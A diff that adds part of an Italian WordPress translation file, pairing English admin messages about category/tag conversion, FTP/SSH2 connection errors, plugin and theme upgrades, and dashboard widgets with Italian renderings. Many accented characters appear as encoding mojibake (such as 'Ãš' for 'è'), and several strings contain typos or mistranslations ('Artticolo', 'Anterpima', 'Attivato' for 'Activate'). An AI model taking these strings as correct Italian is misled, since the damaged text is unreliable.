+msgid "* This category is also a tag. Converting it will add that tag to all posts that are currently in the category."
+msgstr "* Questa categoria Ãš anche un tag. Convertendola verrÃ  aggiunto questo tag a tutti gli articoli che attualmente appartengono alla categoria."
+
+#: wp-admin/import/wp-cat2tag.php:131
+msgid "Convert Categories to Tags"
+msgstr "Converti categorie in tag"
+
+#: wp-admin/import/wp-cat2tag.php:144
+#, php-format
+msgid "Convert Tag to Category."
+msgid_plural "Convert Tags (%d) to Categories."
+msgstr[0] "Conversione tag in categoria."
+msgstr[1] "Conversione tag (%d) in categorie."
+
+#: wp-admin/import/wp-cat2tag.php:146
+msgid "Here you can selectively convert existing tags to categories. To get started, check the tags you wish to be converted, then click the Convert button."
+msgstr "Da qui Ãš possibile convertire selettivamente i tag esistenti in categorie. Per iniziare, selezionare i tag che si desidera convertire e quindi fare clic sul pulsante Converti."
+
+#: wp-admin/import/wp-cat2tag.php:147
+msgid "The newly created categories will still be associated with the same posts."
+msgstr "Le nuove categorie create saranno sempre associate ai medesimi articoli."
+
+#: wp-admin/import/wp-cat2tag.php:151
+msgid "You have no tags to convert!"
+msgstr "Nessun tag da convertire!"
+
+#: wp-admin/import/wp-cat2tag.php:193
+msgid "* This tag is also a category. When converted, all posts associated with the tag will also be in the category."
+msgstr "* Questo tag Ãš anche una categoria. Una volta convertito, tutti gli articoli associati a questo tag saranno associati anche alla categoria."
+
+#: wp-admin/import/wp-cat2tag.php:195
+msgid "Convert Tags to Categories"
+msgstr "Conversione tag in categorie"
+
+#: wp-admin/import/wp-cat2tag.php:233
+#: wp-admin/import/wp-cat2tag.php:348
+#, php-format
+msgid "Uh, oh. Something didn&#8217;t work. Please <a href=\"%s\">try again</a>."
+msgstr "Uh, oh. Qualche cosa non funziona. Si prega di <a href=\"%s\">riprovare</a>."
+
+#: wp-admin/import/wp-cat2tag.php:252
+#, php-format
+msgid "Category %s doesn&#8217;t exist!"
+msgstr "La categoria %s non esiste!"
+
+#: wp-admin/import/wp-cat2tag.php:255
+#, php-format
+msgid "Converting category <strong>%s</strong> ... "
+msgstr "Conversione categoria <strong>%s</strong> ... "
+
+#: wp-admin/import/wp-cat2tag.php:278
+#: wp-admin/import/wp-cat2tag.php:321
+#: wp-admin/import/wp-cat2tag.php:406
+msgid "Converted successfully."
+msgstr "Conversione terminata con successo."
+
+#: wp-admin/import/wp-cat2tag.php:297
+msgid "Tag added to all posts in this category."
+msgstr "Tag aggiunto a tutti gli articoli di questa categoria."
+
+#: wp-admin/import/wp-cat2tag.php:339
+#, php-format
+msgid "* This category is also a tag. The converter has added that tag to all posts currently in the category. If you want to remove it, please confirm that all tags were added successfully, then delete it from the <a href=\"%s\">Manage Categories</a> page."
+msgstr "* Questa categoria Ãš anche un tag. Il convertitore ha aggiunto questo tag a tutti gli articoli presenti attualmente nella categoria. Se si desidera rimuoverla, confermare che tutti i tag sono stati aggiunti con successo, quindi cancellarla dalla pagina <a href=\"%s\">Gestione categorie</a>."
+
+#: wp-admin/import/wp-cat2tag.php:340
+#: wp-admin/import/wp-cat2tag.php:428
+#, php-format
+msgid "We&#8217;re all done here, but you can always <a href=\"%s\">convert more</a>."
+msgstr "Per ora abbiamo terminato, ma volendo Ãš possibile fare <a href=\"%s\">altre conversioni</a>."
+
+#: wp-admin/import/wp-cat2tag.php:365
+#, php-format
+msgid "Converting tag <strong>%s</strong> ... "
+msgstr "Conversione tag <strong>%s</strong> ... "
+
+#: wp-admin/import/wp-cat2tag.php:389
+msgid "All posts were added to the category with the same name."
+msgstr "Tutti gli articoli sono stati aggiunti alla categoria con il medesimo nome."
+
+#: wp-admin/import/wp-cat2tag.php:409
+#, php-format
+msgid "Tag #%s doesn&#8217;t exist!"
+msgstr "Il tag #%s non esiste!"
+
+#: wp-admin/import/wp-cat2tag.php:427
+#, php-format
+msgid "* This tag is also a category. The converter has added all posts from it to the category. If you want to remove it, please confirm that all posts were added successfully, then delete it from the <a href=\"%s\">Manage Tags</a> page."
+msgstr "* Questo tag Ãš anche una categoria. Il convertitore ha aggiunto tutti gli articoli che lo contengono alla categoria. Se si desidera rimuoverlo, confermare che tutti gli articoli sono stati aggiunti con successo, quindi cancellarlo dalla pagina <a href=\"%s\">Gestione tag</a>."
+
+#: wp-admin/import/wp-cat2tag.php:470
+msgid "Categories and Tags Converter"
+msgstr "Convertitore di categorie e tag"
+
+#: wp-admin/import/wp-cat2tag.php:470
+msgid "Convert existing categories to tags or tags to categories, selectively."
+msgstr "Converte selettivamente le categorie esistenti in tag o i tag in categorie."
+
+#: wp-admin/includes/bookmark.php:195
+msgid "Could not update link in the database"
+msgstr "Impossibile aggiornare il link nel database"
+
+#: wp-admin/includes/bookmark.php:203
+msgid "Could not insert link into the database"
+msgstr "Impossibile inserire il link nel database"
+
+#: wp-admin/includes/class-wp-filesystem-base.php:200
+#, php-format
+msgid "Changing to %s"
+msgstr "Modificando in %s"
+
+#: wp-admin/includes/class-wp-filesystem-base.php:209
+#, php-format
+msgid "Found %s"
+msgstr "Trovati %s"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:31
+msgid "The ftp PHP extension is not available"
+msgstr "L&#8217;estensione PHP ft non Ãš disponibile"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:42
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:41
+msgid "FTP hostname is required"
+msgstr "&Egrave; richiesto un nome host per FTP"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:51
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:50
+msgid "FTP username is required"
+msgstr "&Egrave; richiesto un nome utente per FTP"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:56
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:55
+msgid "FTP password is required"
+msgstr "&Egrave; richiesta una password per FTP"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:72
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:67
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:71
+#, php-format
+msgid "Failed to connect to FTP Server %1$s:%2$s"
+msgstr "Fallita la connessione al server FTP %1$s:%2$s"
+
+#: wp-admin/includes/class-wp-filesystem-ftpext.php:77
+#: wp-admin/includes/class-wp-filesystem-ftpsockets.php:76
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:127
+#, php-format
+msgid "Username/Password incorrect for %s"
+msgstr "Username/Password non corrette per %s"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:67
+msgid "The ssh2 PHP extension is not available"
+msgstr "L&#8217;estensione PHP ssh2 non Ãš disponibile"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:71
+msgid "The ssh2 PHP extension is available, however, we require the PHP5 function <code>stream_get_contents()</code>"
+msgstr "L&#8217;estensione PHP ssh2 Ãš disponibile, tuttavia, occorre la funzione PHP5 <code>stream_get_contents()</code>"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:82
+msgid "SSH2 hostname is required"
+msgstr "&Egrave; richiesto il nome host SSH2"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:98
+msgid "SSH2 username is required"
+msgstr "&Egrave; richiesto il nome utente SSH2"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:106
+msgid "SSH2 password is required"
+msgstr "&Egrave; richiesta la password SSH2"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:121
+#, php-format
+msgid "Failed to connect to SSH2 Server %1$s:%2$s"
+msgstr "Fallita la connessione al server SSH2 %1$s:%2$s"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:132
+#, php-format
+msgid "Public and Private keys incorrect for %s"
+msgstr "La chiave pubblica e privata non Ãš corretta per %s"
+
+#: wp-admin/includes/class-wp-filesystem-ssh2.php:148
+#, php-format
+msgid "Unable to perform command: %s"
+msgstr "Impossibile eseguire il comando: %s"
+
+#: wp-admin/includes/class-wp-upgrader.php:44
+msgid "Invalid Data provided."
+msgstr "Dati forniti non validi."
+
+#: wp-admin/includes/class-wp-upgrader.php:45
+#: wp-admin/includes/file.php:481
+#: wp-admin/includes/plugin.php:437
+#: wp-admin/includes/theme.php:77
+msgid "Could not access filesystem."
+msgstr "Impossibile accedere al filesystem"
+
+#: wp-admin/includes/class-wp-upgrader.php:46
+#: wp-admin/includes/plugin.php:440
+#: wp-admin/includes/theme.php:80
+msgid "Filesystem error"
+msgstr "Errore di filesystem"
+
+#: wp-admin/includes/class-wp-upgrader.php:47
+msgid "Unable to locate WordPress Root directory."
+msgstr "Impossibile trovare la directory principale di WordPress."
+
+#: wp-admin/includes/class-wp-upgrader.php:48
+msgid "Unable to locate WordPress Content directory (wp-content)."
+msgstr "Impossibile trovare la directory dei Contenuti di WordPress  (wp-content)."
+
+#: wp-admin/includes/class-wp-upgrader.php:49
+#: wp-admin/includes/plugin.php:445
+msgid "Unable to locate WordPress Plugin directory."
+msgstr "Impossibile trovare la directory dei Plugin di WordPress."
+
+#: wp-admin/includes/class-wp-upgrader.php:50
+msgid "Unable to locate WordPress Theme directory."
+msgstr "Impossibile trovare la directory dei temi di WordPress."
+
+#: wp-admin/includes/class-wp-upgrader.php:51
+#, php-format
+msgid "Unable to locate needed folder (%s)."
+msgstr "Impossibile trovare la directory necessaria (%s)."
+
+#: wp-admin/includes/class-wp-upgrader.php:53
+msgid "Download failed."
+msgstr "Scaricamento fallito."
+
+#: wp-admin/includes/class-wp-upgrader.php:54
+msgid "Installing the latest version."
+msgstr "Installazione dell&#8217;ultima versione."
+
+#: wp-admin/includes/class-wp-upgrader.php:55
+msgid "Destination folder already exists."
+msgstr "La directory di destinazione Ãš giÃ  esistente."
+
+#: wp-admin/includes/class-wp-upgrader.php:56
+msgid "Could not create directory."
+msgstr "Impossibile creare la directory."
+
+#: wp-admin/includes/class-wp-upgrader.php:57
+msgid "Incompatible Archive"
+msgstr "Archivi non compatibile"
+
+#: wp-admin/includes/class-wp-upgrader.php:59
+msgid "Enabling Maintenance mode."
+msgstr "Abilitazione modalitÃ  di manutenzione."
+
+#: wp-admin/includes/class-wp-upgrader.php:60
+msgid "Disabling Maintenance mode."
+msgstr "Disabilitazione modalitÃ  di manutenzione."
+
+#: wp-admin/includes/class-wp-upgrader.php:349
+msgid "The plugin is at the latest version."
+msgstr "Questo plugin Ãš alla sua ultima versione."
+
+#: wp-admin/includes/class-wp-upgrader.php:350
+#: wp-admin/includes/class-wp-upgrader.php:506
+#: wp-admin/includes/class-wp-upgrader.php:663
+msgid "Upgrade package not available."
+msgstr "Pacchetto di aggiornamento non disponibile."
+
+#: wp-admin/includes/class-wp-upgrader.php:351
+#: wp-admin/includes/class-wp-upgrader.php:507
+#: wp-admin/includes/class-wp-upgrader.php:664
+#, php-format
+msgid "Downloading update from <span class=\"code\">%s</span>."
+msgstr "Scaricamento aggiornamento da <span class=\"code\">%s</span>."
+
+#: wp-admin/includes/class-wp-upgrader.php:352
+#: wp-admin/includes/class-wp-upgrader.php:508
+#: wp-admin/includes/class-wp-upgrader.php:665
+msgid "Unpacking the update."
+msgstr "Scompattamento dell&#8217;aggiornamento."
+
+#: wp-admin/includes/class-wp-upgrader.php:353
+msgid "Deactivating the plugin."
+msgstr "Disattivazione del plugin."
+
+#: wp-admin/includes/class-wp-upgrader.php:354
+msgid "Removing the old version of the plugin."
+msgstr "Sto rimuovendo la vecchia versione del plugin."
+
+#: wp-admin/includes/class-wp-upgrader.php:355
+msgid "Could not remove the old plugin."
+msgstr "Impossibile rimuovere il vecchio plugin."
+
+#: wp-admin/includes/class-wp-upgrader.php:356
+msgid "Plugin upgrade Failed."
+msgstr "Aggiornamento plugin fallito."
+
+#: wp-admin/includes/class-wp-upgrader.php:357
+msgid "Plugin upgraded successfully."
+msgstr "Plugin aggiornato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:361
+#: wp-admin/includes/class-wp-upgrader.php:516
+msgid "Install package not available."
+msgstr "Pacchetto di installazione non disponibile."
+
+#: wp-admin/includes/class-wp-upgrader.php:362
+#: wp-admin/includes/class-wp-upgrader.php:517
+#, php-format
+msgid "Downloading install package from <span class=\"code\">%s</span>."
+msgstr "Scaricamento del pacchetto di installazione da <span class=\"code\">%s</span>."
+
+#: wp-admin/includes/class-wp-upgrader.php:363
+#: wp-admin/includes/class-wp-upgrader.php:518
+msgid "Unpacking the package."
+msgstr "Scompattamento del pacchetto."
+
+#: wp-admin/includes/class-wp-upgrader.php:364
+msgid "Installing the plugin."
+msgstr "Installazione del plugin."
+
+#: wp-admin/includes/class-wp-upgrader.php:365
+msgid "Plugin Install Failed."
+msgstr "Installazione del plugin fallita."
+
+#: wp-admin/includes/class-wp-upgrader.php:366
+msgid "Plugin Installed successfully."
+msgstr "Plugin installato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:505
+msgid "The theme is at the latest version."
+msgstr "Il tema Ãš giÃ  alla sua ultima versione."
+
+#: wp-admin/includes/class-wp-upgrader.php:509
+msgid "Removing the old version of the theme."
+msgstr "Sto rimuovendo la vecchia versione del tema."
+
+#: wp-admin/includes/class-wp-upgrader.php:510
+msgid "Could not remove the old theme."
+msgstr "Impossibile rimuovere il vecchio tema."
+
+#: wp-admin/includes/class-wp-upgrader.php:511
+msgid "Theme upgrade Failed."
+msgstr "Aggiornamento tema fallito."
+
+#: wp-admin/includes/class-wp-upgrader.php:512
+msgid "Theme upgraded successfully."
+msgstr "Tema aggiornato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:519
+msgid "Installing the theme."
+msgstr "Installazione del tema."
+
+#: wp-admin/includes/class-wp-upgrader.php:520
+msgid "Theme Install Failed."
+msgstr "Installazione tema plugin fallita."
+
+#: wp-admin/includes/class-wp-upgrader.php:521
+msgid "Theme Installed successfully."
+msgstr "Tema installato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:662
+msgid "WordPress is at the latest version."
+msgstr "WordPress Ãš giÃ  all'ultima versione."
+
+#: wp-admin/includes/class-wp-upgrader.php:666
+msgid "Could not copy files."
+msgstr "Impossibile copiare i file."
+
+#: wp-admin/includes/class-wp-upgrader.php:812
+#: wp-admin/update.php:25
+msgid "Upgrade Plugin"
+msgstr "Aggiornamento plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:825
+msgid "Attempting reactivation of the plugin"
+msgstr "Tentativo di riattivazione del plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:829
+#: wp-admin/includes/class-wp-upgrader.php:880
+#: wp-admin/plugins.php:397
+msgid "Activate this plugin"
+msgstr "Attiva questo plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:829
+#: wp-admin/includes/class-wp-upgrader.php:880
+msgid "Activate Plugin"
+msgstr "Attiva plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:830
+msgid "Goto plugins page"
+msgstr "Vai alla pagina dei plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:830
+#: wp-admin/includes/class-wp-upgrader.php:886
+msgid "Return to Plugins page"
+msgstr "Ritorna alla pagina dei plugin"
+
+#: wp-admin/includes/class-wp-upgrader.php:839
+#: wp-admin/includes/class-wp-upgrader.php:894
+#: wp-admin/includes/class-wp-upgrader.php:961
+#: wp-admin/includes/class-wp-upgrader.php:1015
+msgid "Actions:"
+msgstr "Azioni:"
+
+#: wp-admin/includes/class-wp-upgrader.php:872
+#, php-format
+msgid "Successfully installed the plugin <strong>%s %s</strong>."
+msgstr "Il plugin <strong>%s %s</strong>. Ãš stato installato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:884
+msgid "Return to Plugin Installer"
+msgstr "Tornare all'installatore di plugin"
+
+#. translators: 1: theme name, 2: version
+#: wp-admin/includes/class-wp-upgrader.php:928
+#, php-format
+msgid "Successfully installed the theme <strong>%1$s %2$s</strong>."
+msgstr "Il tema <strong>%1$s %2$s</strong> Ãš stato installato con successo."
+
+#: wp-admin/includes/class-wp-upgrader.php:947
+#: wp-admin/includes/class-wp-upgrader.php:1004
+#: wp-admin/includes/template.php:1456
+#: wp-admin/includes/template.php:1671
+#: wp-admin/includes/theme-install.php:305
+#: wp-admin/includes/theme-install.php:313
+#: wp-admin/themes.php:214
+#, php-format
+msgid "Preview &#8220;%s&#8221;"
+msgstr "Anteprima &#8220;%s&#8221;"
+
+#: wp-admin/includes/class-wp-upgrader.php:948
+#: wp-admin/includes/class-wp-upgrader.php:1005
+#: wp-admin/themes.php:211
+#, php-format
+msgid "Activate &#8220;%s&#8221;"
+msgstr "Attivato &#8220;%s&#8221;"
+
+#: wp-admin/includes/class-wp-upgrader.php:948
+#: wp-admin/includes/class-wp-upgrader.php:1005
+#: wp-admin/plugins.php:397
+#: wp-admin/plugins.php:462
+#: wp-admin/themes.php:213
+msgid "Activate"
+msgstr "Attiva"
+
+#: wp-admin/includes/class-wp-upgrader.php:952
+msgid "Return to Theme Installer"
+msgstr "Tornare all'installatore di temi"
+
+#: wp-admin/includes/class-wp-upgrader.php:954
+msgid "Themes page"
+msgstr "Pagina dei temi"
+
+#: wp-admin/includes/class-wp-upgrader.php:954
+#: wp-admin/includes/class-wp-upgrader.php:1011
+msgid "Return to Themes page"
+msgstr "Ritorna alla pagina dei temi"
+
+#: wp-admin/includes/class-wp-upgrader.php:982
+#: wp-admin/update.php:121
+msgid "Upgrade Theme"
+msgstr "Aggiornamento tema"
+
+#: wp-admin/includes/class-wp-upgrader.php:1040
+msgid "Please select a file"
+msgstr "Selezionare un file"
+
+#: wp-admin/includes/class-wp-upgrader.php:1054
+#: wp-admin/includes/file.php:300
+#: wp-admin/includes/file.php:410
+#, php-format
+msgid "The uploaded file could not be moved to %s."
+msgstr "Il file caricato non pu&ograve essere spostato in %s."
+
+#: wp-admin/includes/comment.php:39
+msgid "You are not allowed to edit comments on this post, so you cannot edit this comment."
+msgstr "Non si dispone del permesso per modificare i commenti di questo articolo, quindi non Ãš possibile modificare questo commento."
+
+#: wp-admin/includes/dashboard.php:28
+msgid "Right Now"
+msgstr "Stato attuale"
+
+#: wp-admin/includes/dashboard.php:31
+#: wp-includes/default-widgets.php:605
+#: wp-includes/default-widgets.php:628
+msgid "Recent Comments"
+msgstr "Commenti recenti"
+
+#: wp-admin/includes/dashboard.php:45
+msgid "Incoming Links"
+msgstr "Link in entrata"
+
+#: wp-admin/includes/dashboard.php:49
+#: wp-includes/js/tinymce/langs/wp-langs.php:254
+msgid "Plugins"
+msgstr "Plugin"
+
+#: wp-admin/includes/dashboard.php:53
+msgid "QuickPress"
+msgstr "QuickPress"
+
+#: wp-admin/includes/dashboard.php:57
+msgid "Recent Drafts"
+msgstr "Bozze recenti"
+
+#: wp-admin/includes/dashboard.php:63
+msgid "http://wordpress.org/development/"
+msgstr "http://wordpress.org/development/"
+
+#: wp-admin/includes/dashboard.php:64
+msgid "http://wordpress.org/development/feed/"
+msgstr "http://wordpress.org/development/feed/"
+
+#: wp-admin/includes/dashboard.php:65
+msgid "WordPress Development Blog"
+msgstr "Blog sullo sviluppo di WordPress"
+
+#: wp-admin/includes/dashboard.php:78
+msgid "http://planet.wordpress.org/"
+msgstr "http://planet.wordpress.org/"
+
+#: wp-admin/includes/dashboard.php:79
+msgid "http://planet.wordpress.org/feed/"
+msgstr "http://planet.wordpress.org/feed/"
+
+#: wp-admin/includes/dashboard.php:80
+msgid "Other WordPress News"
+msgstr "Altre notizie su WordPress"
+
+#: wp-admin/includes/dashboard.php:93
+#: wp-admin/includes/dashboard.php:459
+#: wp-admin/includes/dashboard.php:508
+msgid "View all"
+msgstr "Mostra tutti"
+
+#: wp-admin/includes/dashboard.php:123
+msgid "Configure"
+msgstr "Configura"
+
+#: wp-admin/includes/dashboard.php:208
+msgid "At a Glance"
+msgstr "In un colpo d'occhio"
+
+#: wp-admin/includes/dashboard.php:214
+msgid "Post"
+msgid_plural "Posts"
+msgstr[0] "Articolo"
+msgstr[1] "Articoli"
+
+#: wp-admin/includes/dashboard.php:240
+msgid "Comment"
+msgid_plural "Comments"
+msgstr[0] "Commento"
+msgstr[1] "Commenti"
+
+#: wp-admin/includes/dashboard.php:252
+msgid "Page"
+msgid_plural "Pages"
+msgstr[0] "Pagina"
+msgstr[1] "Pagine"
+
+#: wp-admin/includes/dashboard.php:262
+msgid "Approved|Right Now"
+msgid_plural "Approved"
+msgstr[0] "Approvato"
+msgstr[1] "Approvati"
+
+#: wp-admin/includes/dashboard.php:274
+msgid "Category"
+msgid_plural "Categories"
+msgstr[0] "Categoria"
+msgstr[1] "Categorie"
+
+#: wp-admin/includes/dashboard.php:284
+msgid "Pending"
+msgid_plural "Pending"
+msgstr[0] "In sospeso"
+msgstr[1] "In sospeso"
+
+#: wp-admin/includes/dashboard.php:296
+msgid "Tag"
+msgid_plural "Tags"
+msgstr[0] "Tag"
+msgstr[1] "Tag"
+
+#: wp-admin/includes/dashboard.php:306
+#: wp-content/plugins/akismet/akismet.php:882
+msgid "Spam"
+msgid_plural "Spam"
+msgstr[0] "Spam"
+msgstr[1] "Spam"
+
+#: wp-admin/includes/dashboard.php:334
+#: wp-admin/includes/dashboard.php:341
+msgid "Change Theme"
+msgstr "Cambia tema"
+
+#: wp-admin/includes/dashboard.php:335
+#, php-format
+msgid "Theme <span class=\"b\"><a href=\"themes.php\">%1$s</a></span> with <span class=\"b\"><a href=\"widgets.php\">%2$s Widget</a></span>"
+msgid_plural "Theme <span class=\"b\"><a href=\"themes.php\">%1$s</a></span> with <span class=\"b\"><a href=\"widgets.php\">%2$s Widgets</a></span>"
+msgstr[0] "Tema <span class=\"b\"><a href=\"themes.php\">%1$s</a></span> con <span class=\"b\"><a href=\"widgets.php\">%2$s widget</a></span>"
+msgstr[1] "Tema <span class=\"b\"><a href=\"themes.php\">%1$s</a></span> con <span class=\"b\"><a href=\"widgets.php\">%2$s widget</a></span>"
+
+#: wp-admin/includes/dashboard.php:337
+#, php-format
+msgid "Theme <span class=\"b\">%1$s</span> with <span class=\"b\">%2$s Widget</span>"
+msgid_plural "Theme <span class=\"b\">%1$s</span> with <span class=\"b\">%2$s Widgets</span>"
+msgstr[0] "Tema <span class=\"b\">%1$s</span> con <span class=\"b\">%2$s widget</span>"
+msgstr[1] "Tema <span class=\"b\">%1$s</span> con <span class=\"b\">%2$s widget</span>"
+
+#: wp-admin/includes/dashboard.php:363
+#, php-format
+msgid "Post Published. <a href=\"%s\">View post</a> | <a href=\"%s\">Edit post</a>"
+msgstr "Articolo pubblicato. <a href=\"%s\">Visualizza articolo</a> | <a href=\"%s\">Modifica articolo</a>"
+
+#: wp-admin/includes/dashboard.php:365
+#, php-format
+msgid "Post submitted. <a href=\"%s\">Preview post</a> | <a href=\"%s\">Edit post</a>"
+msgstr "Artticolo inviato. <a href=\"%s\">Anterpima articolo</a> | <a href=\"%s\">Modifica articolo</a>"
+
+#: wp-admin/includes/dashboard.php:367
+#, php-format
+msgid "Draft Saved. <a href=\"%s\">Preview post</a> | <a href=\"%s\">Edit post</a>"
+msgstr "Bozza salvata. <a href=\"%s\">Anterpima articolo</a> | <a href=\"%s\">Modifica articolo</a>"
+
+#: wp-admin/includes/dashboard.php:380
+#, php-format
+msgid "You can also try %s, easy blogging from anywhere on the Web."
+msgstr "&Egrave; possibile anche provare %s, per fare blogging facilmente dappertutto sul Web."
+
+#: wp-admin/includes/dashboard.php:380
+#: wp-admin/press-this.php:322
+#: wp-admin/press-this.php:445
+#: wp-admin/tools.php:82
+#: wp-admin/tools.php:87
+msgid "Press This"
+msgstr "Pubblicalo"
+
+#: wp-admin/includes/dashboard.php:399
+#: wp-includes/post.php:3426
+msgid "Content"
+msgstr "Contenuto"
+
+#: wp-admin/includes/dashboard.php:416
+msgid "Reset"
+msgstr "Azzera"
+
+#: wp-admin/includes/dashboard.php:462
+msgid "There are no drafts at the moment"
+msgstr "Non vi sono bozze al momento."
+
+#: wp-admin/includes/dashboard.php:539
+#: wp-admin/includes/template.php:2141
+#: wp-admin/includes/template.php:2148
+msgid "Approve this comment"
+msgstr "Approva questo commento"
+
+#: wp-admin/includes/dashboard.php:540
+#: wp-admin/includes/template.php:2142
+#: wp-admin/includes/template.php:2145
+msgid "Unapprove this comment"
+msgstr "Non approvare questo commento"
+
+#: wp-admin/includes/dashboard.php:541
+#: wp-admin/includes/template.php:2155
+#: wp-includes/link-template.php:780
+msgid "Edit comment"
+msgstr "Modifica commento"
+
+#: wp-admin/includes/dashboard.php:543
+#: wp-admin/includes/template.php:2158
+msgid "Reply to this comment"
+msgstr "Replica a questo commento"
+
+#: wp-admin/includes/dashboard.php:543
+#: wp-admin/includes/template.php:2158
+#: wp-includes/comment-template.php:979
+msgid "Reply"
+msgstr "Replica"
+
+#: wp-admin/includes/dashboard.php:544
+#: wp-admin/includes/template.php:2153
+msgid "Mark this comment as spam"
+msgstr "Marca questo commento come spam"
+
+#. translators: mark as spam link
+#: wp-admin/includes/dashboard.php:544
+#: wp-admin/includes/template.php:2153
+msgctxt "verb"
+msgid "Spam"
+msgstr "Spam"
+
+#: wp-admin/includes/dashboard.php:570
+#, php-format
+msgid "From %1$s on %2$s%3$s"
+msgstr "Da %1$s su %2$s%3$s"
+
+#: wp-admin/includes/dashboard.php:570
+msgid "[Pending]"
+msgstr "[In sospeso]"
+
+#: wp-admin/includes/dashboard.php:576
+#: wp-content/themes/classic/comments-popup.php:52
+#: wp-content/themes/classic/comments.php:24
+#: wp-includes/comment-template.php:648
+msgid "Pingback"
+msgstr "Pingback"
+
+#: wp-admin/includes/dashboard.php:579
+#: wp-content/themes/classic/comments-popup.php:52
+#: wp-content/themes/classic/comments.php:24
+#: wp-includes/comment-template.php:647
+msgid "Trackback"
+msgstr "Trackback"
+
+#. translators: %1$s is type of comment, %2$s is link to the post
+#: wp-admin/includes/dashboard.php:588
+#, php-format
+msgctxt "dashboard"
+msgid "%1$s on %2$s"
+msgstr "%1$s per %2$s"
+
+#: wp-admin/includes/dashboard.php:608
+#: wp-admin/includes/dashboard.php:693
+#: wp-admin/includes/dashboard.php:715
+#: wp-admin/includes/dashboard.php:750
+#: wp-admin/includes/dashboard.php:847
+msgid "Loading&#8230;"
+msgstr "Caricamento&#8230;"
+
+#: wp-admin/includes/dashboard.php:608
+#: wp-admin/includes/dashboard.php:693
+#: wp-admin/includes/dashboard.php:715
+#: wp-admin/includes/dashboard.php:750
+msgid "This widget requires JavaScript."
+msgstr "Questo widget richiede il JavaScript."
+
+#: wp-admin/includes/dashboard.php:624
+#: wp-admin/includes/dashboard.php:737
+#: wp-includes/default-widgets.php:772
+#, php-format
+msgid "<strong>RSS Error</strong>: %s"
+msgstr "<strong>Errore RSS</strong>: %s"
+
+#: wp-admin/includes/dashboard.php:631
+msgid "This dashboard widget queries <a href=\"http://blogsearch.google.com/\">Google Blog Search</a> so that when another blog links to your site it will show up here. It has found no incoming links&hellip; yet. It&#8217;s okay &#8212; there is no rush."
+msgstr "Questo widget della bacheca interroga <a href=\"http://blogsearch.google.com/\">Google Blog Search</a> cosÃ¬ che quando un altro blog fa un link a questo blog apparirÃ  qui. Per ora non vi sono link in ingresso&hellip; ancora. &Egrave; tutto ok &#8212; non vi Ãš alcuna fretta."
+
+#: wp-admin/includes/dashboard.php:653
+#: wp-admin/includes/dashboard.php:655
+#: wp-admin/page.php:102
+#: wp-admin/post.php:137
+msgid "Somebody"
+msgstr "Qualcuno"
+
+#. translators: incoming links feed, %1$s is other person, %3$s is content
+#: wp-admin/includes/dashboard.php:667
+#, php-format
+msgid "%1$s linked here <a href=\"%2$s\">saying</a>, \"%3$s\""
+msgstr "%1$s parla di noi <a href=\"%2$s\">scrivendo</a>, \"%3$s\""
+
+#. translators: incoming links feed, %1$s is other person, %3$s is content
+#: wp-admin/includes/dashboard.php:670
+#, php-format
+msgid "%1$s linked here saying, \"%3$s\""
+msgstr "%1$s parla di noi scrivendo, \"%3$s\""
+
+#. translators: incoming links feed, %4$s is the date
+#: wp-admin/includes/dashboard.php:675
+#, php-format
+msgid "on %4$s"
+msgstr "il %4$s"
+
+#: wp-admin/includes/dashboard.php:768
+msgid "Most Popular"
+msgstr "PiÃ¹ popolare"
+
+#: wp-admin/includes/dashboard.php:768
+msgid "Newest Plugins"
+msgstr "Nuovi plugin"
+
+#: wp-admin/includes/dashboard.php:768
+#: wp-admin/plugin-install.php:31
+#: wp-admin/theme-install.php:36
+msgid "Recently Updated"
+msgstr "Aggiornato recentemente"
+
+#: wp-admin/includes/dashboard.php:826
+#: wp-admin/includes/plugin-install.php:356
+#: wp-admin/includes/theme-install.php:304
+msgid "Install"
+msgstr "Installa"
+
+#: wp-admin/includes/dashboard.php:924
+#: wp-includes/default-widgets.php:722
+msgid "Unknown Feed"
+msgstr "Feed sconosciuto"
+
+#: wp-admin/includes/file.php:11
+msgid "Main Index Template"
+msgstr "Pagina principale"
+
+#: wp-admin/includes/file.php:12
+#: wp-admin/includes/file.php:36
+msgid "Stylesheet"
+msgstr "Foglio stile"
+
+#: wp-admin/includes/file.php:13
+msgid "RTL Stylesheet"
+msgstr "Foglio stile RTL"
+
+#: wp-admin/includes/file.php:15
+msgid "Popup Comments"
+msgstr "Commenti pop-up"
+
+#: wp-admin/includes/file.php:16
+msgid "Footer"
+msgstr "PiÃš di pagina"
+
+#: wp-admin/includes/file.php:17
+msgid "Header"
+msgstr "Testata"
+
+#: wp-admin/includes/file.php:18
+#: wp-admin/sidebar.php:27
+#: wp-admin/sidebar.php:87
+#: wp-admin/widgets.php:254
+#: wp-includes/widgets.php:485
+msgid "Sidebar"
+msgstr "Barra laterale"
+
+#: wp-admin/includes/file.php:19
+#: wp-includes/default-widgets.php:219
+#: wp-includes/default-widgets.php:226
+msgid "Archives"
+msgstr "Archivi"
+
+#: wp-admin/includes/file.php:20
+msgid "Category Template"
+msgstr "Template categorie"
+
